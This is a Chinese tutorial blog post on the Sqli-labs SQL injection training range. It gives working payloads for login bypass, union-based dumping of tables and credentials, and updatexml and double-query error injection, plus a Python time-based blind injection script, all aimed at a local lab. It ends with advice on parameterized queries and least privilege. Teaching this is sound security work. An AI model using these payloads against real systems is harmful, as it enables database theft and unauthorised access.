1. 先搞明白SQL注入到底在玩什么
搞Web安全的同行大概都有过这种经历:SQL注入这四个字挂在嘴边好几年,原理也能背出来——用户输入被拼接进了SQL语句,可真到了靶场或者测试环境面前,从哪下手、怎么判断闭合、怎么把数据带出来,照样一头雾水。Sqli-labs就是来治这个毛病的。它是GitHub上一套开源的SQL注入练习靶场,基于PHP和MySQL搭建,把几十种注入场景拆成一关一关的关卡,从最基础的字符型注入一路排到宽字节、堆叠注入、order by注入,基本覆盖了面试和实战里能撞见的大部分知识点。我当年就是顺着这套靶场一关一关刷下来的,可以说,把SQL注入从抽象的名词变成脑子里真正清晰的攻击画像,靠的就是它。
1.1 从一次登录绕过说起
先看一个最经典的场景。假设网站后台有个登录框,后端查用户表的SQL大概长这样:
sql复制SELECT * FROM users WHERE username='admin' AND password='123456';
如果代码直接把用户输入拼进去,那用户在用户名框里输入一串特殊内容,比如:
code复制admin' OR 1=1 -- -
拼出来的SQL就变成了:
sql复制SELECT * FROM users WHERE username='admin' OR 1=1 -- -' AND password='123456';
注意看,'把原来username字段的引号闭合掉,OR 1=1让条件永远为真,-- -把后面密码校验的部分注释掉。结果就是,这条SQL恒真,数据库把整张表都查出来了,登录直接通过。这就是网上经常说的“万能密码”,其实根本不是密码神奇,而是程序把用户输入当成SQL代码执行了。
我第一次在Sqli-labs里亲手复现这个过程的时候,才真正意识到一个问题:数据库引擎做语法解析时,根本不知道哪段SQL是开发者写的、哪段是用户提交的。对数据库来说,整条语句都是“合法的命令”。所以SQL注入的本质,不是数据库有漏洞,也不是某个函数有漏洞,而是开发者把“数据”和“代码”的边界搞混了。
1.2 SQL注入的本质:数据被当成了代码
用一个生活中的例子来理解。你给前台小哥一张纸条,上面写着“转告老板,晚上聚餐”。结果纸条到了你手里,内容是“转告老板,晚上聚餐,顺便让财务给我转五万块钱”。前台小哥看不懂背后的意图,他只是把纸条原样转交。数据库就是这个不太聪明的前台小哥,攻击者就是那个偷改纸条的人。
程序员的意图是让用户传一个“值”,比如id等于几、用户名等于什么。但攻击者传进来的是“一段可以被解析成SQL语法的字符串”,里面有引号、有关键字、有注释符。只要程序没有把参数和SQL语句隔离开来,这段字符串就会被数据库引擎当作SQL指令的一部分执行。这就是为什么注入点判定的第一件事,永远是看程序能不能正确解析你传进去的引号、括号和注释。
Sqli-labs前几关设计的核心目标,就是让你一遍一遍地体会这个“闭合-拼接-改写”的过程。它把注入点放在一个id参数里,你的任务就是判断这个id在SQL语句里是怎么被包裹的,然后用最小的改变让原语句的意图失效。说白了,前几关练的不是工具,是“猜结构”的能力。
1.3 Sqli-labs能帮你练什么
整套靶场从Less-1到Less-53,关卡越往后越恶心。前几关是基础联合注入,中间是布尔盲注、时间盲注、POST注入、头注入,后面还有过滤绕过、宽字节注入、堆叠查询、order by排序注入。每关都有它要考的知识点,题目之间还有衍生的变种,比如Less-3和Less-4考的是括号加引号的双重闭合,Less-5和Less-6考的是报错注入,看着相近,实际思路完全不一样。
如果只是想在面试前突击一下,把Less-1到Less-10吃透就够用。但如果想把注入这条路走通,我建议至少刷到Less-25以后,因为从第23关开始,题目开始教你怎么在常见的过滤规则下绕行,这部分才是实战中真正值钱的经验。当然,所有操作都建议只在本地靶场或你明确拿到授权的测试环境里做,别把payload往别人线上系统里怼,这是底线。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与工具准备
2.1 本地环境怎么搭
Sqli-labs依赖PHP和MySQL,最省事的办法是装phpStudy或者直接用Docker跑一个现成的镜像。我自己的习惯是本地用phpStudy,原因很简单:自带Apache、PHP、MySQL,启动一下就能用,数据库连接配置也比自己去配环境省心得多。
如果选Docker,可以搜一下现成的sqli-labs镜像,一行命令就能起环境,前后不到五分钟。不过有一点要注意,Sqli-labs项目比较老,很多教程默认跑在PHP 5.x和MySQL 5.x上。现在新装的phpStudy默认可能已经把PHP版本升到了7.x甚至8.x,MySQL版本也可能偏高。建议把PHP版本切到7.0以下,MySQL用5.7左右,否则个别关卡会因为PHP版本太新出现警告,虽然不影响核心注入逻辑,但看着很烦。
2.2 部署Sqli-labs并初始化数据库
下载源码放到Web根目录,比如D:\phpstudy_pro\WWW\sqli-labs,直接访问:
code复制http://127.0.0.1/sqli-labs/
首页会看到关卡列表。先访问sql-connections/setup-db.php,这个脚本会自动创建security数据库和相关表。数据库连接信息在sql-connections目录下,默认用户名密码一般是root和root或者root和空密码,如果不一致,改一下配置文件再重新初始化就行。
初始化完成之后,建议先随便点开一关,比如Less-1,访问:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=1
看到页面回显用户名和密码,说明环境正常。这里有个小坑:有些集成环境默认没开PHP的display_errors,导致SQL报错不显示在页面上。Sqli-labs前几关恰恰要靠报错信息来判断闭合方式,所以如果发现注入后页面没有任何报错,先去把PHP的display_errors打开,或者直接在源码里强制显示错误。
2.3 工具清单
- 浏览器地址栏:前几关最简单的注入方式,直接改URL参数,适合熟悉payload结构。
- Burp Suite Repeater:抓包、改包、重放都靠它,POST注入和头部注入阶段是刚需。
- Firefox的HackBar插件:快速在地址栏里编辑和发送payload,适合调试。
- Python requests库:布尔盲注和时间盲注必须用脚本,手工逐字符猜会把人逼疯。
- sqlmap:建议放到最后用。先手工把一关打完,再拿sqlmap扫同一种场景,对比一下自己漏了什么花活,这才是正确用法。
我见过不少人一上来就开sqlmap直接扫,扫完出数据就算通关了。说实话,这样刷完50关,除了会敲一条命令,什么也没学会。手工先打,工具辅助,这是最笨也最扎实的路子。
3. 从第一关开始:Less-1 字符型注入
3.1 先判断闭合方式
Less-1的源码核心大概是这样:
php复制$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注意,id外面包了单引号。也就是说,我们传进去的值会被直接塞进一对引号里。这时候访问:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=1'
页面会抛出一段MySQL语法错误,报错信息尾部会出现类似near ''1'' LIMIT 0,1'的片段。这段报错非常关键,它几乎直接告诉我们:SQL语句里有一个单引号被我们破坏了,而且id字段的引号闭合是“单引号包裹”类型。
要验证这个判断,就尝试把引号闭合回去并注释掉后面的内容:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=1'--+
这句话拼到SQL里就是:
sql复制SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1
--+里的加号在URL里会被PHP解析成空格,服务端拿到的就是-- ,也就是MySQL的注释符。后面那半截SQL被注释掉之后,整个语句只剩下WHERE id='1',页面恢复正常回显。到这里,闭合方式基本确定:单引号字符型注入。
3.2 确定字段数
知道怎么闭合之后,下一步是确定查询结果有几列。Sqli-labs里的SQL语句是SELECT * FROM users,我们要知道users表在查询里到底映射了哪些列。最经典的方法是用ORDER BY:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=1' ORDER BY 3--+
页面正常回显,说明查询结果至少有3列。继续测试:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=1' ORDER BY 4--+
这次报错,说明查询只有3列,ORDER BY 4超出了列数范围。为什么不直接用SELECT *看表结构?因为这个环境不允许我们直接看源码,而且ORDER BY这种“二分试探”的思维在后面的布尔盲注里会反复用到,属于必须形成肌肉记忆的操作。
3.3 联合注入把数据带出来
字段数是3,接下来就能用UNION SELECT做联合注入了。先把id改成不存在的值,比如-1,让前面查询结果为空,然后拼接:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,2,3--+
页面上会出现数字2和3,说明查询结果的第2列和第3列被显示在了页面上。这就是我们用来回显数据的位置。后面要做的就是替换对应位置的数字,把数据库里的元信息带出来。
先看当前数据库名和版本:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,database(),version()--+
页面就能看到当前库名security和MySQL版本号。接着爆表名,核心是MySQL的元数据库information_schema:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
group_concat可以把多行结果拼成一行,避免页面上只显示第一行数据。看到表名里有users和referers之类的表之后,再爆字段:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users'--+
最后把账号密码一起带出来:
code复制http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+
到这一步,Less-1算是完整打通了。我第一次走完这个流程最大的感受是:注入并不神秘,就是不断“猜结构、改结构、拿数据”的循环。找闭合方式是猜,order by是猜,连sqlmap在背后干的也是这件事,只不过它把整个过程自动化了。
4. Less-2 到 Less-4:学会看报错猜结构
4.1 Less-2 数字型注入
Less-2源码里的SQL是:
php复制$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
id没有加引号。这种场景下,输入单引号虽然也会报错,但报错信息和Less-1不同,因为数据库是把数字类型和一个带引号的字符串做了比较。判断数字型注入更干净的办法是直接构造真假条件:
code复制http://127.0.0.1/sqli-labs/Less-2/?id=1 AND 1=1
页面正常。改成:
code复制http://127.0.0.1/sqli-labs/Less-2/?id=1 AND 1=2
页面无回显。前后两次结果不同,说明SQL语句被成功“操控”了,而且不需要闭合引号。既然没有引号,联合注入也简单得多:
code复制http://127.0.0.1/sqli-labs/Less-2/?id=-1 UNION SELECT 1,2,3
不需要那个闭合用的单引号,其余流程和Less-1完全一样。数字型注入在实战里其实很常见,比如商品ID、文章ID、分类ID,很多都是整型参数,直接拼接进SQL。
4.2 Less-3 单引号加括号
Less-3的SQL变成了:
php复制$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
单引号外面还罩了一层括号。这时候蒙着试?id=1',报错信息尾部会出现near ''1'')'之类的特征,注意这里有两个)在尾部闪动,说明除了引号还有括号需要闭合。完整payload是:
code复制http://127.0.0.1/sqli-labs/Less-3/?id=1')--+
页面正常回显。联合注入则用:
code复制http://127.0.0.1/sqli-labs/Less-3/?id=-1') UNION SELECT 1,2,3--+
这关的坑在于,很多人只盯着引号,忘了括号。在实战里,源码里套一层括号是非常常见的写法,比如WHERE (username='$user'),所以括号闭合的能力必须练到条件反射。
4.3 Less-4 双引号加括号
Less-4的SQL是:
php复制$sql = "SELECT * FROM users WHERE id=(\"$id\") LIMIT 0,1";
这里用的是双引号。试?id=1",报错信息会把双引号带出来,然后试:
code复制http://127.0.0.1/sqli-labs/Less-4/?id=1")--+
正常回显。联合注入:
code复制http://127.0.0.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,2,3--+
MySQL默认情况下双引号并不是字符串的界定符,但在这类拼接SQL里,双引号依然会被带进语法解析,从而导致注入。Less-4考的就是你能不能想到“引号不只有单引号一种”。
4.4 从报错信息末尾读出闭合方式
刷完Less-1到Less-4,其实可以整理出一个判断表:
| 关卡 | 源码SQL简化 | 闭合Payload | 报错尾部特征 |
|---|---|---|---|
| Less-1 | WHERE id='$id' |
1'--+ |
near ''1''...' |
| Less-2 | WHERE id=$id |
1(无需闭合) |
near '1'...' |
| Less-3 | WHERE id=('$id') |
1')--+ |
near ''1'')'...' |
| Less-4 | WHERE id=(\"$id\") |
1")--+ |
near '"1")'...' |
报错信息的尾部往往藏着答案:数数有几个引号,看看有没有括号,基本就能推断出SQL语句的包裹结构。这是所有SQL注入手工判断里最基础、最核心的一步,后面的POST注入、头部注入,判断逻辑一模一样,只是参数位置变了。
5. Less-5 报错注入:没回显怎么拿数据
5.1 为什么联合注入失效
Less-5开始,玩法变了。访问?id=1页面只显示一句“You are in...”,却不再显示用户名和密码。这意味着查询结果虽然执行了,但页面不把结果内容展示出来,UNION SELECT之类的联合注入在这里完全没用。
源码里没有把$row['username']输出,只输出了一个固定字符串。这种场景下,我们要利用数据库的报错信息来“带”数据。这就是报错注入。思路一句话概括:让SQL语句本身报错,而报错内容里恰好包含我们想让数据库查出来的数据。
5.2 updatexml和extractvalue实战
MySQL里有两个特别好用的XPath函数,UPDATEXML和EXTRACTVALUE。它们的正常用途是解析XML文档,但如果传入的XPath表达式非法,MySQL会抛出错误,并且错误信息里会包含非法表达式的内容。于是我们可以把子查询塞进那个“非法表达式”的位置,让报错信息帮我们把数据打印出来。
Less-5的payload是:
code复制http://127.0.0.1/sqli-labs/Less-5/?id=1' AND updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
0x7e是波浪号~的十六进制写法。它不是合法XPath的组成部分,用来保证表达式必然报错,同时也在结果前后加了个分隔符,方便阅读。执行后,报错信息里就会出现~security~,数据库名就这样被“炸”出来了。
爆表名:
code复制http://127.0.0.1/sqli-labs/Less-5/?id=1' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
同理,把子查询换成select group_concat(column_name) from information_schema.columns where table_name='users'就能拿字段名。这个路子比联合注入更直接,因为不需要确定列数,也不需要找显示位。
5.3 双查询报错原理
除了updatexml,还有一类经典的双查询报错payload,长这样:
code复制?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--+
这个看着唬人,原理其实简单:子查询里用了COUNT(*)+GROUP BY,同时分组字段里夹杂了FLOOR(RAND(0)*2)这种随机值。MySQL在计算时会出现主键重复的报错,而报错信息会把整个x字段的内容带出来,我们就把要查的数据提前concat进去了。双查询注入在早期的MySQL版本里很常见,现在实战中用updatexml和extractvalue更省事,但有时候目标把这两个函数过滤了,双查询就是备选武器。
5.4 报错内容截断怎么办
报错注入有个很烦人的限制:报错信息在MySQL里通常只能显示大约32个字符。用group_concat把一堆表名拼在一起时,经常只能看个开头,后面的全被截断了。解决办法很简单,用limit一行一行拿:
code复制?id=1' AND updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
把limit 0,1改成limit 1,1、limit 2,1,就能一条一条把所有表名数出来。Less-6本质上和Less-5一样,只是闭合方式换成了双引号:
code复制?id=1" AND updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
看完这两关,你基本就理解“报错注入”这个词了。后面的Less-8是布尔盲注,页面连报错都不给,只有“你猜对了”和“你猜错了”两种状态,要靠逐字符比较去猜数据;Less-9是时间盲注,连对错回显都没有,只能靠sleep的响应时间差来判断。那两关如果纯手工玩,效率极低,基本必须上脚本。
6. 撞过的墙:常见问题与排查清单
我刷Sqli-labs的时候,问过身边不少人,也给自己踩过不少坑。下面这几个问题,基本能把新手卡住一整天的点都覆盖了。
| 现象 | 可能原因 | 解决办法 |
|---|---|---|
| 加了单引号页面没任何反应 | PHP没开display_errors,报错被吞了 | 开启display_errors,或看HTTP响应码和页面长度 |
注入payload里用了#结果总是不对 |
#在URL里是片段标识符,根本不会传给服务器 |
把#换成%23,或改用--+ |
--+在代码或工具里失效 |
工具或脚本把+编码成了%2B |
手动在URL里保持+原样,或改用-- -闭合 |
| 联合注入页面不显示数据 | 当前id不是-1,前面查询有结果,UNION被忽略 | 把id改成-1或一个不存在的值 |
| 盲注脚本猜得非常慢 | 逐字符线性遍历效率低 | 用二分法,每次判断ASCII码大于还是小于某个中值 |
| 报错注入只显示前几个字符 | MySQL报错信息长度限制约32字符 | 用limit逐行获取,别用group_concat拼一堆 |
这里重点说两个。
第一个是URL编码问题。Sqli-labs很多关卡里用--+当注释符,因为+在URL的query里会被解析成空格,服务端拿到的就是-- ,正好符合MySQL注释符的语法。但如果你用代码发请求,比如Python的requests库走params参数,它会把+编码成%2B,服务端看到的就不是空格了,注释不生效,payload直接报错。我的经验是:手工测试直接在地址栏或Burp里操作,保持+原样;写脚本时干脆用AND '1'='1这种闭合方式替代注释符,简单又稳妥。
第二个是盲注效率问题。布尔盲注和时间盲注如果一位一位地遍历字符,从a试到z,一个字段几十个字符,请求量爆炸。正确做法是二分法:每次判断目标字符的ASCII码是否大于中间值,一次请求砍掉一半搜索空间。拿时间盲注举例,payload可以设计成:
python复制import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-9/?id="
result = ""
for i in range(1, 40):
low, high = 32, 126
while low < high:
mid = (low + high) // 2
payload = f"1' AND IF(ORD(MID((SELECT database()),{i},1))>{mid},SLEEP(2),0) AND '1'='1"
start = time.time()
requests.get(url + payload)
if time.time() - start > 1.8:
low = mid + 1
else:
high = mid
result += chr(low)
print(result)
注意这里我用AND '1'='1闭合了末尾的单引号,就没有注释符那一堆编码烦恼了。每次字符猜测只需要约7次请求,比线性猜测快了几个数量级。这也是刷盲注关卡最实用的经验。
7. Sqli-labs全关卡地图与刷题建议
7.1 后面几十关都在考什么
我建议刷题前先对整个地图有个数,不然很容易越刷越乱。简单归纳一下:
- Less-1到Less-4:联合查询注入,字符型、数字型、括号闭合,基本功。
- Less-5到Less-6:报错注入,重点掌握updatexml、extractvalue和双查询。
- Less-7:文件读写注入,核心是
INTO OUTFILE写文件,前提是知道Web目录路径且有FILE权限。 - Less-8到Less-10:布尔盲注和时间盲注,必须脚本化。
- Less-11到Less-16:注入点从GET变成POST,常见于登录表单,思路还是在用户名或密码参数上做闭合与报错。
- Less-17到Less-22:更新操作注入、HTTP头部注入,比如Referer、User-Agent、Cookie这些地方也能带payload。
- Less-23到Less-25:开始过滤注释符、关键字,需要学会用其他闭合方式。
- Less-26到Less-28:过滤空格、过滤
select/union等关键字,考验绕过思路,比如用注释符代替空格、用大小写混写绕过滤。 - Less-29到Less-31:模拟WAF场景,开始考验你对不同层参数的利用。
- Less-32到Less-37:宽字节注入,利用GBK编码吞掉转义反斜线,是绕过滤的经典套路。
- Less-38到Less-45:堆叠注入,用分号拼接多条SQL语句,甚至可以在合适场景下调用存储过程。
- Less-46到Less-53:排序场景下的注入,
ORDER BY后面既不能UNION也不太方便报错,要靠条件判断盲注。
这个分布其实很有意思,前20关都在练“同一个原理在不同位置的运用”,从第23关开始才正式进入“对抗过滤”的环节。我刷到宽字节的时候,明显感觉到前面打的底子有多重要,因为你得先熟悉正常闭合方式,才能理解为什么要用%df%27这种鬼东西去绕。
7.2 新手怎么安排打怪路线
我的建议比较老派。第一遍全部用手工,前10关至少完整走一遍;第11到第22关可以加快速度,因为原理不变,主要是换了个入口;第23关开始,每关都要先看源码,读懂它过滤了什么,再想绕法,最后才用工具验证。
很多人在第8关盲注那里就卡住了,觉得太耗时。这时候一定要写脚本,哪怕只是几十行的Python,也要亲手写一遍。写盲注脚本的过程,其实就是把你对SQL注入的判断逻辑翻译成代码的过程。等你能写出一个稳定的盲注脚本,你会发现自己对“如何判断注入点”这件事的理解上了一个台阶。
sqlmap不是不能用,而是别急着用。我见过有人把sqlmap跑一遍就当通关了,结果遇到稍微复杂的过滤场景,sqlmap跑不出来,自己完全不知道下一步该怎么办。工具是放大镜,不是眼睛。
8. 注入练完,防护也得想明白
8.1 参数化查询为什么是正解
把Sqli-labs前几关打穿之后,回头看防御其实特别简单。最核心的一条就是参数化查询,也就是PreparedStatement。拿PHP的mysqli举例:
php复制$stmt = $con->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
用?占位符代替参数拼接,让数据库把参数当作纯数据去处理,而不是SQL语法的一部分。这一步做扎实,前面所有基于闭合引号、拼接注释的注入基本全部失效。Sqli-labs里所有关卡要是都改成参数化查询,那这套靶场基本上就可以关了。
参数化查询的原理,可以理解成给数据库划了一条明确的线:结构是结构,数据是数据。不管用户输入里带了什么引号、括号、注释符,在数据库眼里那些都只是字符串字符,不会被当作语法解释。这才是“从根上解决问题”的做法。
8.2 输入校验和最小权限
除了参数化查询,输入校验也是必不可少的。比如id参数,如果你业务上就只需要数字,那直接intval()或者白名单校验就行,压根不需要接受字符串。对邮箱、用户名这类字段,则要按业务规则做格式校验,而不是什么都往SQL里塞。
另一个经常被忽视的点是最小权限原则。很多系统给Web应用连数据库用的账号直接就是root或者管理员,权限大到可以SELECT * FROM mysql.user,甚至可以INTO OUTFILE写文件。Sqli-labs里Less-7能成功,靠的就是数据库账号有FILE权限。真实的系统里,应用账号只给SELECT、INSERT、UPDATE、DELETE就够了,不要给它操作文件、改表结构、甚至DROP的权限。这样即使被注入,攻击者的操作空间也会被压缩到很小的范围。
8.3 自测的思路
练完一套Sqli-labs之后,最值得做的事情是回头检查自己负责的业务系统。你可以用同样的思路去自测:每个接口的参数,看看它是不是拼进SQL了;每个登录页、搜索框、导出功能,是不是能通过构造特殊输入改变返回结果。这里说的自测一定要建立在授权范围内,自己的系统、测试环境、或者SRC平台给的授权测试目标。
我个人打这套靶场比较笨,前几关每个payload都手动改一遍,又用脚本跑一遍。后来发现自己背过的那些payload大多都忘了,但判断闭合方式、找注入点、写盲注脚本这几件事,变成了肌肉记忆。很多时候经验就是这样来的,靠几个技巧帖子救不了急,老老实实过一遍靶场,比看一百篇总结都有用。
最后再分享一个小技巧吧。刷到后面关的时候,每过一关就在笔记里记一句“这一关的考点是什么、我卡在哪里、怎么绕过去的”,不用写长,两句话就够。等到全部通关再回头看,你会看到一条从懵懂到清晰的学习曲线。这套靶场真正的价值不在于你能跑通多少关,而在于它逼着你在每一个卡住的地方停下来,想清楚SQL注入到底是怎么一回事。
